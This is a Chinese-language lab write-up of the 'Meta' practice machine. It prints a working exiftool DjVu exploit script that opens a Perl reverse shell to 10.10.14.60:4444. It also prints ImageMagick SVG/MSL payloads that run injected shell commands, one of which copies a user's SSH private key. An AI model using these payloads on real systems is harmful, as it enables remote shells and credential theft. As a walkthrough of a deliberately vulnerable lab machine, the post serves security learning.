Meta靶机

信息收集

发现目标主机只开放了ssh和web服务
在这里插入图片描述
当我们访问web主页时,发现只是一个很普通的apache搭建的页面
在这里插入图片描述
目录扫描貌似好像也没发现什么有价值的信息
在这里插入图片描述
什么发现也没有,当我们扫描子域名时,发现了一个子域
在这里插入图片描述
当我们访问这个子域时,发现是一个文件上传的点。经过反复测试,初步断定它对上传内容进行了仔细的检查,任何不符合图片特征的文件都会被过滤掉
在这里插入图片描述
那我们尝试上传一张正常的图片试试,这个格式是否很眼熟?对的,这是exiftool工具的输出格式
在这里插入图片描述
在这里插入图片描述

漏洞利用

说实话这里是我自己本人没想到,可能是我自己的经验不太够吧。这里我们要找的是exiftool对应的漏洞,对的没想到吧,我也是参考了别人的意见才知道的。这里已经披露出了对应的漏洞编号了
在这里插入图片描述
我选择了第二个网址上的漏洞利用脚本,因为上面那个依赖问题太复杂了。首先我们先生成一个图片马文件,将脚本文件的IP和监听端口改成我们对应的IP和端口

#!/bin/env python3

import base64
import subprocess

ip = '10.10.14.60'
port = '4444'

payload = b"(metadata \"\c${use MIME::Base64;eval(decode_base64('"


payload = payload + base64.b64encode( f"use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in({port},inet_aton('{ip}')))){{open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');}};".encode() )

payload = payload + b"'))};\")"


payload_file = open('payload', 'w')
payload_file.write(payload.decode('utf-8'))
payload_file.close()


subprocess.run(['bzz', 'payload', 'payload.bzz'])
subprocess.run(['djvumake', 'exploit.djvu', "INFO=1,1", 'BGjp=/dev/null', 'ANTz=payload.bzz'])
subprocess.run(['exiftool', '-config', 'configfile', '-HasselbladExif<=exploit.djvu', 'image.jpg']) 

在这里插入图片描述
上传image.jpg木马图片后,我们得到了www-data用户的权限
在这里插入图片描述
但是当我们进入thomas用户的.ssh目录时,发现没有权限,并且user.txt文件也没有权限查看
在这里插入图片描述
查看主机的内核版本,发现是64位的Linux主机
在这里插入图片描述
我们可以尝试上传pspy64这个脚本进行探测,pspy 是一个命令行工具,旨在侦听进程而无需 root 权限。它允许您在执行时查看其他用户、cron 作业等运行的命令。发现了一个convert_images.sh脚本
在这里插入图片描述
我们查看一下这个脚本的内容,发现它是先进入到对应的目录中,然后再运行mogrify这个程序将发现的文件转换为png文件,最后杀死这个进程。
在这里插入图片描述
我们可以查看一下mogrify这个程序的版本,发现是7.0.10-36
在这里插入图片描述
在网上搜索到对应的漏洞编号是CVE-2016-3714
在这里插入图片描述
利用的方法是上传一个poc.svg文件到/dev/shm目录下,并将poc.svg文件复制到/var/www/dev01.artcorp.htb/convert_images/这个目录下,经过一段时间后会生成一个0wned文件,输出了用户名证明文件成功执行了包含的命令

<image authenticate='ff" `echo $(id)> /dev/shm/0wned`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">       
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>

在这里插入图片描述
那我们修改一下poc.svg里面的内容,尝试将thomas账户的密钥文件读取出来

<image authenticate='ff" `echo $(cat ~/.ssh/id_rsa)> /dev/shm/id_rsa`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">       
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>

成功读取密钥信息,我们可以开启一个http服务将id_rsa文件下载下来
在这里插入图片描述
重新编排一下顺序后,可以成功连接到thomas用户
在这里插入图片描述

提权到ROOT

我们输入sudo -l命令,发现一个neofetch程序可以以root身份运行
在这里插入图片描述
我们尝试运行这个程序,输出是linux内核的基本信息
在这里插入图片描述
既然这个程序可以利用,那么我们可以进入这个程序的配置文件中,更改其配置文件信息达到我们提权的目的。我们更改/home/thomas/.config/neofetch这个目录下的config.conf文件
在这里插入图片描述
因为我们使用neofetch程序提权的时候,会保留XDG_CONFIG_HOME的环境变量,所以我们要将thomas.config导出到基本配置环境路径
在这里插入图片描述
得到root权限
在这里插入图片描述

总结

总的来说,这个靶机还是相当有难度的。我后面提权部分基本也是照着别人的建议来做,真的实在是太难了。提权和漏洞利用的方法都是在红队攻防实战中非常常见的,能掌握对技术提升方面很有帮助。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

平凡的学者

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值